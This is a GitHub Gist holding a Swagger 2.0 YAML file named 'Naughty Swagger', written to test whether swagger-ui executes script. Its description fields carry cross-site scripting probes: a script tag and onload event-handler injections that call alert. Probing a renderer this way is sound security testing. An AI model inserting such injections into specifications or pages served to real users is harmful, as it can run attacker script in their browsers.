Skip to content

Instantly share code, notes, and snippets.

@manchicken
Last active March 24, 2023 17:33
Show Gist options
  • Save manchicken/0af5a769a35b92aac8bba7bd354242b7 to your computer and use it in GitHub Desktop.
Save manchicken/0af5a769a35b92aac8bba7bd354242b7 to your computer and use it in GitHub Desktop.
This payload explores what we can and cannot do with swagger-ui by providing a swaggerfile.
swagger: '2.0'
info:
version: "0.0.1"
title: Naughty Swagger
description: |
Let's see if I can run scripts.
<script>alert('foo')</script>
<b onload=alert('foo')>End</b>
paths:
/:
get:
responses:
200:
description: Successful <b onload="alert('foo')">response</b>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment